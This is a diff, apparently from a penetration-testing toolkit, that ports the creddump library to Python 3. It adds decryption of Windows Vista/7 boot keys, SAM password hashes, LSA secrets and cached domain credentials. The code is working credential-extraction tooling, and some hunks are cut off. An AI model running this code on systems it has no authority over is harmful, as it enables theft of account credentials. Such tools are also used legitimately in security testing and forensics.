a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) if a_tp == 'pointer': ptp = get_ptr_type(self.name, [attr, i]) - l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) + l.append(Pointer(a_tp, self.address + a_off, self.space, ptp)) else: - l.append(Obj(a_tp, self.address+a_off, self.space)) + l.append(Obj(a_tp, self.address + a_off, self.space)) return l elif tp == 'pointer': # Can't just return a Obj here, since pointers need to also # know what type they point to. ptp = get_ptr_type(self.name, [attr]) - return Pointer(tp, self.address+off, self.space, ptp) + return Pointer(tp, self.address + off, self.space, ptp) else: - return Obj(tp, self.address+off, self.space) - - def __div__(self, other): - if isinstance(other,tuple) or isinstance(other,list): + return Obj(tp, self.address + off, self.space) + + def __truediv__(self, other): + if isinstance(other, (tuple, list)): return Pointer(other[0], self.address, self.space, other[1]) - elif isinstance(other,str): + elif isinstance(other, str): return Obj(other, self.address, self.space) else: raise ValueError("Must provide a type name as string for casting") - + def members(self): """Return a list of this object's members, sorted by offset.""" # Could also just return the list - membs = [ (k, v[0]) for k,v in types[self.name][1].items()] + membs = [(k, v[0]) for k, v in list(types[self.name][1].items())] membs.sort(key=itemgetter(1)) - return map(itemgetter(0),membs) + self.extra_members + return list(map(itemgetter(0), membs)) + self.extra_members def values(self): """Return a dictionary of this object's members and their values""" - + valdict = {} for k in self.members(): valdict[k] = getattr(self, k) @@ -130,7 +135,7 @@ class Obj(object): def bytes(self, length=-1): """Get bytes starting at the address of this object. - + Arguments: length : the number of bytes to read. Default: size of this object. @@ -147,7 +152,7 @@ class Obj(object): return builtin_types[self.name][0] else: return types[self.name][0] - + def __repr__(self): return "<%s @%08x>" % (self.name, self.address) @@ -168,67 +173,72 @@ class Obj(object): def get_offset(self, member): return get_obj_offset(types, [self.name] + member) + class Primitive(Obj): """Class to represent a primitive data type. - + Attributes: value : the python primitive value of this type """ - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def __init__(self, name, address, space): - super(Primitive,self).__init__(name, address, space) + super(Primitive, self).__init__(name, address, space) length, fmt = builtin_types[name] - data = space.read(address,length) - if not data: self.value = None - else: self.value = unpack(fmt,data)[0] - + data = space.read(address, length) + if not data: + self.value = None + else: + self.value = unpack(fmt, data)[0] + def __repr__(self): return repr(self.value) def members(self): return [] + class Pointer(Obj): """Class to represent pointers. - + value : the object pointed to If an attribute is not found in this instance, the attribute will be looked up in the referenced object.""" - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def __init__(self, name, address, space, ptr_type): - super(Pointer,self).__init__(name, address, space) + super(Pointer, self).__init__(name, address, space) ptr_address = read_value(space, name, address) if ptr_type[0] == 'pointer': self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) else: self.value = Obj(ptr_type[0], ptr_address, self.space) - + def __getattribute__(self, attr): # It's still nice to be able to access things through pointers # without having to explicitly dereference them, so if we don't # find an attribute via our superclass, just dereference the pointer # and return the attribute in the pointed-to type. try: - return super(Pointer,self).__getattribute__(attr) + return super(Pointer, self).__getattribute__(attr) except AttributeError: return getattr(self.value, attr) - + def __repr__(self): return "" % (self.value.name, self.value.address) def members(self): return self.value.members() + class _UNICODE_STRING(Obj): """Class representing a _UNICODE_STRING @@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj): * The __str__ method returns the value of the Buffer. """ - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def __str__(self): @@ -248,54 +258,63 @@ class _UNICODE_STRING(Obj): # Custom Attributes def getBuffer(self): return read_unicode_string(self.space, types, [], self.address) + Buffer = property(fget=getBuffer) + class _CM_KEY_NODE(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getName(self): return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], - self.address, self.NameLength.value) + self.address, self.NameLength.value) + Name = property(fget=getName) + class _CM_KEY_VALUE(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getName(self): return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], - self.address, self.NameLength.value) + self.address, self.NameLength.value) + Name = property(fget=getName) + class _CHILD_LIST(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getList(self): lst = [] list_address = read_obj(self.space, types, - ['_CHILD_LIST', 'List'], self.address) + ['_CHILD_LIST', 'List'], self.address) for i in range(self.Count.value): - lst.append(Pointer("pointer", list_address+(i*4), self.space, - ["_CM_KEY_VALUE"])) + lst.append(Pointer("pointer", list_address + (i * 4), self.space, + ["_CM_KEY_VALUE"])) return lst + List = property(fget=getList) + class _CM_KEY_INDEX(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getList(self): lst = [] for i in range(self.Count.value): # we are ignoring the hash value here - off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) - lst.append(Pointer("pointer", self.address+off, self.space, - ["_CM_KEY_NODE"])) + off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2]) + lst.append(Pointer("pointer", self.address + off, self.space, + ["_CM_KEY_NODE"])) return lst + List = property(fget=getList) diff --git a/tools/MultiRelay/creddump/framework/object.py b/tools/MultiRelay/creddump/framework/object.py index 8dfff64..d11243d 100644 --- a/tools/MultiRelay/creddump/framework/object.py +++ b/tools/MultiRelay/creddump/framework/object.py @@ -9,13 +9,15 @@ # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. +# General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # +# pylint: disable=invalid-name,missing-docstring + """ @author: AAron Walters and Nick Petroni @license: GNU General Public License 2.0 or later @@ -25,59 +27,61 @@ import struct -builtin_types = { \ - 'int' : (4, 'i'), \ - 'long': (4, 'i'), \ - 'unsigned long' : (4, 'I'), \ - 'unsigned int' : (4, 'I'), \ - 'address' : (4, 'I'), \ - 'char' : (1, 'c'), \ - 'unsigned char' : (1, 'B'), \ - 'unsigned short' : (2, 'H'), \ - 'short' : (2, 'h'), \ - 'long long' : (8, 'q'), \ - 'unsigned long long' : (8, 'Q'), \ - 'pointer' : (4, 'I'),\ - } +builtin_types = { + 'int': (4, 'i'), + 'long': (4, 'i'), + 'unsigned long': (4, 'I'), + 'unsigned int': (4, 'I'), + 'address': (4, 'I'), + 'char': (1, 'c'), + 'unsigned char': (1, 'B'), + 'unsigned short': (2, 'H'), + 'short': (2, 'h'), + 'long long': (8, 'q'), + 'unsigned long long': (8, 'Q'), + 'pointer': (4, 'I'), +} def obj_size(types, objname): - if not types.has_key(objname): + if objname not in types: raise Exception('Invalid type %s not in types' % (objname)) return types[objname][0] + def builtin_size(builtin): - if not builtin_types.has_key(builtin): + if builtin not in builtin_types: raise Exception('Invalid built-in type %s' % (builtin)) return builtin_types[builtin][0] + def read_value(addr_space, value_type, vaddr): """ - Read the low-level value for a built-in type. + Read the low-level value for a built-in type. """ - if not builtin_types.has_key(value_type): + if value_type not in builtin_types: raise Exception('Invalid built-in type %s' % (value_type)) type_unpack_char = builtin_types[value_type][1] - type_size = builtin_types[value_type][0] + type_size = builtin_types[value_type][0] buf = addr_space.read(vaddr, type_size) if buf is None: return None - (val, ) = struct.unpack(type_unpack_char, buf) + (val,) = struct.unpack(type_unpack_char, buf) return val + def read_unicode_string(addr_space, types, member_list, vaddr): offset = 0 if len(member_list) > 1: - (offset, current_type) = get_obj_offset(types, member_list) + (offset, __) = get_obj_offset(types, member_list) - - buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) + buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) if length == 0x0: @@ -90,23 +94,24 @@ def read_unicode_string(addr_space, types, member_list, vaddr): if readBuf is None: return None - + try: readBuf = readBuf.decode('UTF-16').encode('ascii') - except: + except Exception: # pylint: disable=broad-except return None - + return readBuf + def read_string(addr_space, types, member_list, vaddr, max_length=256): offset = 0 if len(member_list) > 1: - (offset, current_type) = get_obj_offset(types, member_list) + (offset, __) = get_obj_offset(types, member_list) val = addr_space.read(vaddr + offset, max_length) - return val - + return val + def read_null_string(addr_space, types, member_list, vaddr, max_length=256): string = read_string(addr_space, types, member_list, vaddr, max_length) @@ -114,11 +119,8 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256): if string is None: return None - if (string.find('\0') == -1): - return string - (string, none) = string.split('\0', 1) - return string - + return string.split('\0', 1)[0] + def get_obj_offset(types, member_list): """ @@ -130,7 +132,7 @@ def get_obj_offset(types, member_list): offset = 0 - while (len(member_list) > 0): + while member_list: if current_type == 'array': current_type = member_dict[current_member][1][2][0] if current_type in builtin_types: @@ -140,14 +142,14 @@ def get_obj_offset(types, member_list): index = member_list.pop() offset += index * current_type_size continue - - elif not types.has_key(current_type): + + elif current_type not in types: raise Exception('Invalid type ' + current_type) - + member_dict = types[current_type][1] - + current_member = member_list.pop() - if not member_dict.has_key(current_member): + if current_member not in member_dict: raise Exception('Invalid member %s in type %s' % (current_member, current_type)) offset += member_dict[current_member][0] @@ -164,8 +166,6 @@ def read_obj(addr_space, types, member_list, vaddr): """ if len(member_list) < 2: raise Exception('Invalid type/member ' + str(member_list)) - - (offset, current_type) = get_obj_offset(types, member_list) return read_value(addr_space, current_type, vaddr + offset) diff --git a/tools/MultiRelay/creddump/framework/types.py b/tools/MultiRelay/creddump/framework/types.py index 873e555..cbf8b4f 100644 --- a/tools/MultiRelay/creddump/framework/types.py +++ b/tools/MultiRelay/creddump/framework/types.py @@ -13,6 +13,8 @@ # You should have received a copy of the GNU General Public License # along with creddump. If not, see . +# pylint: disable=invalid-name + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @@ -20,44 +22,44 @@ """ regtypes = { - '_CM_KEY_VALUE' : [ 0x18, { - 'Signature' : [ 0x0, ['unsigned short']], - 'NameLength' : [ 0x2, ['unsigned short']], - 'DataLength' : [ 0x4, ['unsigned long']], - 'Data' : [ 0x8, ['unsigned long']], - 'Type' : [ 0xc, ['unsigned long']], - 'Flags' : [ 0x10, ['unsigned short']], - 'Spare' : [ 0x12, ['unsigned short']], - 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], -} ], - '_CM_KEY_NODE' : [ 0x50, { - 'Signature' : [ 0x0, ['unsigned short']], - 'Flags' : [ 0x2, ['unsigned short']], - 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], - 'Spare' : [ 0xc, ['unsigned long']], - 'Parent' : [ 0x10, ['unsigned long']], - 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], - 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], - 'ValueList' : [ 0x24, ['_CHILD_LIST']], - 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], - 'Security' : [ 0x2c, ['unsigned long']], - 'Class' : [ 0x30, ['unsigned long']], - 'MaxNameLen' : [ 0x34, ['unsigned long']], - 'MaxClassLen' : [ 0x38, ['unsigned long']], - 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], - 'MaxValueDataLen' : [ 0x40, ['unsigned long']], - 'WorkVar' : [ 0x44, ['unsigned long']], - 'NameLength' : [ 0x48, ['unsigned short']], - 'ClassLength' : [ 0x4a, ['unsigned short']], - 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], -} ], - '_CM_KEY_INDEX' : [ 0x8, { - 'Signature' : [ 0x0, ['unsigned short']], - 'Count' : [ 0x2, ['unsigned short']], - 'List' : [ 0x4, ['array', 1, ['unsigned long']]], -} ], - '_CHILD_LIST' : [ 0x8, { - 'Count' : [ 0x0, ['unsigned long']], - 'List' : [ 0x4, ['unsigned long']], -} ], + '_CM_KEY_VALUE': [0x18, { + 'Signature': [0x0, ['unsigned short']], + 'NameLength': [0x2, ['unsigned short']], + 'DataLength': [0x4, ['unsigned long']], + 'Data': [0x8, ['unsigned long']], + 'Type': [0xc, ['unsigned long']], + 'Flags': [0x10, ['unsigned short']], + 'Spare': [0x12, ['unsigned short']], + 'Name': [0x14, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_NODE': [0x50, { + 'Signature': [0x0, ['unsigned short']], + 'Flags': [0x2, ['unsigned short']], + 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], + 'Spare': [0xc, ['unsigned long']], + 'Parent': [0x10, ['unsigned long']], + 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], + 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], + 'ValueList': [0x24, ['_CHILD_LIST']], + 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], + 'Security': [0x2c, ['unsigned long']], + 'Class': [0x30, ['unsigned long']], + 'MaxNameLen': [0x34, ['unsigned long']], + 'MaxClassLen': [0x38, ['unsigned long']], + 'MaxValueNameLen': [0x3c, ['unsigned long']], + 'MaxValueDataLen': [0x40, ['unsigned long']], + 'WorkVar': [0x44, ['unsigned long']], + 'NameLength': [0x48, ['unsigned short']], + 'ClassLength': [0x4a, ['unsigned short']], + 'Name': [0x4c, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_INDEX': [0x8, { + 'Signature': [0x0, ['unsigned short']], + 'Count': [0x2, ['unsigned short']], + 'List': [0x4, ['array', 1, ['unsigned long']]], + }], + '_CHILD_LIST': [0x8, { + 'Count': [0x0, ['unsigned long']], + 'List': [0x4, ['unsigned long']], + }], } diff --git a/tools/MultiRelay/creddump/framework/win32/domcachedump.py b/tools/MultiRelay/creddump/framework/win32/domcachedump.py index 37d0314..542ce41 100644 --- a/tools/MultiRelay/creddump/framework/win32/domcachedump.py +++ b/tools/MultiRelay/creddump/framework/win32/domcachedump.py @@ -21,14 +21,14 @@ from framework.win32.rawreg import * from framework.addrspace import HiveFileAddressSpace -#from framework.win32.hashdump import get_bootkey +from framework.win32.hashdump import get_bootkey from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key from Crypto.Hash import HMAC -from Crypto.Cipher import ARC4 +from Crypto.Cipher import ARC4, AES from struct import unpack -def get_nlkm(secaddr, lsakey): - return get_secret_by_name(secaddr, 'NL$KM', lsakey) +def get_nlkm(secaddr, lsakey, vista): + return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista) def decrypt_hash(edata, nlkm, ch): hmac_md5 = HMAC.new(nlkm,ch) @@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch): data = rc4.encrypt(edata) return data +def decrypt_hash_vista(edata, nlkm, ch): + """ + Based on code from http://lab.mediaservice.net/code/cachedump.rb + """ + aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch) + + out = bytearray() + for i in range(0, len(edata), 16): + buf = edata[i : i+16] + if len(buf) < 16: + buf += (16 - len(buf)) * b"\00" + + out += aes.decrypt(buf) + return out + def parse_cache_entry(cache_data): (uname_len, domain_len) = unpack(". +# pylint: disable=invalid-name,missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ -from framework.win32.rawreg import * +from struct import unpack, pack +import binascii + +from Crypto.Hash import MD5 +from Crypto.Cipher import ARC4, DES, AES + +from framework.win32.rawreg import get_root, open_key, values, subkeys from framework.addrspace import HiveFileAddressSpace -try: - from Crypto.Hash import MD5 - from Crypto.Cipher import ARC4,DES -except ImportError: - pass -from struct import unpack,pack odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, + 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, + 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, + 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, + 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, + 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, + 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, + 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, + 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, + 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254 ] # Permutation matrix for boot key -p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, - 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] +p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] # Constants for SAM decrypt algorithm -aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" -anum = "0123456789012345678901234567890123456789\0" -antpassword = "NTPASSWORD\0" -almpassword = "LMPASSWORD\0" +aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" +anum = b"0123456789012345678901234567890123456789\0" +antpassword = b"NTPASSWORD\0" +almpassword = b"LMPASSWORD\0" + +empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee") +empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0") -empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') -empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') def str_to_key(s): - key = [] - key.append( ord(s[0])>>1 ) - key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) - key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) - key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) - key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) - key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) - key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) - key.append( ord(s[6])&0x7F ) + key = bytearray() + key.append(s[0] >> 1) + key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2)) + key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3)) + key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4)) + key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5)) + key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6)) + key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7)) + key.append(s[6] & 0x7F) for i in range(8): - key[i] = (key[i]<<1) + key[i] = (key[i] << 1) key[i] = odd_parity[key[i]] - return "".join(chr(k) for k in key) + return key + def sid_to_key(sid): - s1 = "" - s1 += chr(sid & 0xFF) - s1 += chr((sid>>8) & 0xFF) - s1 += chr((sid>>16) & 0xFF) - s1 += chr((sid>>24) & 0xFF) - s1 += s1[0]; - s1 += s1[1]; - s1 += s1[2]; - s2 = s1[3] + s1[0] + s1[1] + s1[2] - s2 += s2[0] + s2[1] + s2[2] + s1 = bytearray() + s1.append(sid & 0xFF) + s1.append((sid >> 8) & 0xFF) + s1.append((sid >> 16) & 0xFF) + s1.append((sid >> 24) & 0xFF) + s1.append(s1[0]) + s1.append(s1[1]) + s1.append(s1[2]) + s2 = bytearray([s1[3], s1[0], s1[1], s1[2]]) + s2.append(s2[0]) + s2.append(s2[1]) + s2.append(s2[2]) + + return str_to_key(s1), str_to_key(s2) + - return str_to_key(s1),str_to_key(s2) - def find_control_set(sysaddr): root = get_root(sysaddr) if not root: @@ -99,122 +106,206 @@ def find_control_set(sysaddr): return 1 for v in values(csselect): - if v.Name == "Current": return v.Data.value + if v.Name == b"Current": + return v.Data.value + + return 1 + + +def get_bootkey(sysaddr): + cs = find_control_set(sysaddr) + lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"] + lsa_keys = ["JD", "Skew1", "GBG", "Data"] + + root = get_root(sysaddr) + if not root: + return None + + lsa = open_key(root, lsa_base) + if not lsa: + return None + + bootkey = [] + + for lk in lsa_keys: + key = open_key(lsa, [lk]) + class_data = sysaddr.read(key.Class.value, key.ClassLength.value) + hex_string = class_data.decode('utf-16-le') + hex_data = binascii.unhexlify(hex_string) + for h in hex_data: + bootkey.append(h) + + bootkey_scrambled = [] + for i in range(len(bootkey)): + bootkey_scrambled.append(bootkey[p[i]]) + + return bytes(bootkey_scrambled) + def get_hbootkey(samaddr, bootkey): sam_account_path = ["SAM", "Domains", "Account"] root = get_root(samaddr) - if not root: return None + if not root: + return None sam_account_key = open_key(root, sam_account_path) - if not sam_account_key: return None + if not sam_account_key: + return None F = None for v in values(sam_account_key): - if v.Name == 'F': + if v.Name == b'F': F = samaddr.read(v.Data.value, v.DataLength.value) - if not F: return None + if not F: + return None - md5 = MD5.new() - md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) - rc4_key = md5.digest() + revision = F[0x00] + if revision == 2: + md5 = MD5.new() + md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) + rc4_key = md5.digest() - rc4 = ARC4.new(rc4_key) - hbootkey = rc4.encrypt(F[0x80:0xA0]) - - return hbootkey + rc4 = ARC4.new(rc4_key) + hbootkey = rc4.encrypt(F[0x80:0xA0]) + + return hbootkey + + if revision == 3: + iv = F[0x78:0x88] + encryptedHBootKey = F[0x88:0xA8] + cipher = AES.new(bootkey, AES.MODE_CBC, iv) + hbootkey = cipher.decrypt(encryptedHBootKey) + + return hbootkey[:16] + + print("Unknown revision: %d" % revision) + return None def get_user_keys(samaddr): user_key_path = ["SAM", "Domains", "Account", "Users"] root = get_root(samaddr) - if not root: return [] + if not root: + return [] user_key = open_key(root, user_key_path) - if not user_key: return [] + if not user_key: + return [] + + return [k for k in subkeys(user_key) if k.Name != b"Names"] - return [k for k in subkeys(user_key) if k.Name != "Names"] def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): - (des_k1,des_k2) = sid_to_key(rid) + if enc_hash == "": + return "" + (des_k1, des_k2) = sid_to_key(rid) d1 = DES.new(des_k1, DES.MODE_ECB) d2 = DES.new(des_k2, DES.MODE_ECB) - md5 = MD5.new() - md5.update(hbootkey[:0x10] + pack(". +# pylint: disable=missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ -from framework.win32.rawreg import * -from framework.addrspace import HiveFileAddressSpace -#from framework.win32.hashdump import get_bootkey,str_to_key -from Crypto.Hash import MD5 -from Crypto.Cipher import ARC4,DES +from Crypto.Hash import MD5, SHA256 +from Crypto.Cipher import ARC4, DES, AES -def get_lsa_key(secaddr, bootkey): +from framework.win32.rawreg import get_root, open_key, subkeys, unpack +from framework.addrspace import HiveFileAddressSpace +from framework.win32.hashdump import get_bootkey, str_to_key + + +def get_lsa_key(secaddr, bootkey, vista): root = get_root(secaddr) if not root: return None - enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) + if vista: + enc_reg_key = open_key(root, ["Policy", "PolEKList"]) + else: + enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) + if not enc_reg_key: - exit(1) return None enc_reg_value = enc_reg_key.ValueList.List[0] @@ -40,48 +47,73 @@ def get_lsa_key(secaddr, bootkey): return None obf_lsa_key = secaddr.read(enc_reg_value.Data.value, - enc_reg_value.DataLength.value) + enc_reg_value.DataLength.value) if not obf_lsa_key: return None - md5 = MD5.new() - md5.update(bootkey) - for i in range(1000): - md5.update(obf_lsa_key[60:76]) - rc4key = md5.digest() + if not vista: + md5 = MD5.new() + md5.update(bootkey) + for __ in range(1000): + md5.update(obf_lsa_key[60:76]) + rc4key = md5.digest() + rc4 = ARC4.new(rc4key) + lsa_key = rc4.decrypt(obf_lsa_key[12:60]) + lsa_key = lsa_key[0x10:0x20] + else: + lsa_key = decrypt_aes(obf_lsa_key, bootkey) + lsa_key = lsa_key[68:100] - rc4 = ARC4.new(rc4key) - lsa_key = rc4.decrypt(obf_lsa_key[12:60]) + return lsa_key - return lsa_key[0x10:0x20] def decrypt_secret(secret, key): """Python implementation of SystemFunction005. Decrypts a block of data with DES using given key. Note that key can be longer than 7 bytes.""" - decrypted_data = '' - j = 0 # key index - for i in range(0,len(secret),8): - enc_block = secret[i:i+8] - block_key = key[j:j+7] + decrypted_data = bytearray() + j = 0 # key index + for i in range(0, len(secret), 8): + enc_block = secret[i:i + 8] + block_key = key[j:j + 7] des_key = str_to_key(block_key) des = DES.new(des_key, DES.MODE_ECB) decrypted_data += des.decrypt(enc_block) - + j += 7 - if len(key[j:j+7]) < 7: - j = len(key[j:j+7]) + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) (dec_data_len,) = unpack(". +# pylint: disable=invalid-name,missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets # Hex dump code from # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 -FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) +FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256)) + + +def showUsage(): + print("usage: %s " % sys.argv[0]) + print("\nExample (Windows Vista/7):") + print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0]) + print("\nExample (Windows XP):") + print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0]) + def dump(src, length=8): - N=0; result='' + N = 0 + result = '' while src: - s,src = src[:length],src[length:] - hexa = ' '.join(["%02X"%ord(x) for x in s]) - s = s.translate(FILTER) - result += "%04X %-*s %s\n" % (N, length*3, hexa, s) - N+=length + s, src = src[:length], src[length:] + hexa = ' '.join(["%02X" % x for x in s]) + s = ''.join(FILTER[b] for b in s) + result += "%04X %-*s %s\n" % (N, length * 3, hexa, s) + N += length return result -if len(sys.argv) < 3: - print "usage: %s Bootkey " % sys.argv[0] - sys.exit(1) -secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) +if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]: + showUsage() + sys.exit(1) +else: + vista = sys.argv[3].lower() == "true" + +secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista) if not secrets: - print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" + print("Unable to read LSA secrets. Perhaps you provided invalid hive files?") sys.exit(1) for k in secrets: - print k - print dump(secrets[k], length=16) - + print(k.decode()) + print(dump(secrets[k], length=16)) diff --git a/tools/MultiRelay/creddump/pwdump.py b/tools/MultiRelay/creddump/pwdump.py index a753907..462df85 100755 --- a/tools/MultiRelay/creddump/pwdump.py +++ b/tools/MultiRelay/creddump/pwdump.py @@ -25,7 +25,7 @@ import sys from framework.win32.hashdump import dump_file_hashes if len(sys.argv) < 3: - print "usage: %s bootkey SAM_File" % sys.argv[0] + print("usage: %s " % sys.argv[0]) sys.exit(1) -dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) +dump_file_hashes(sys.argv[1], sys.argv[2]) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 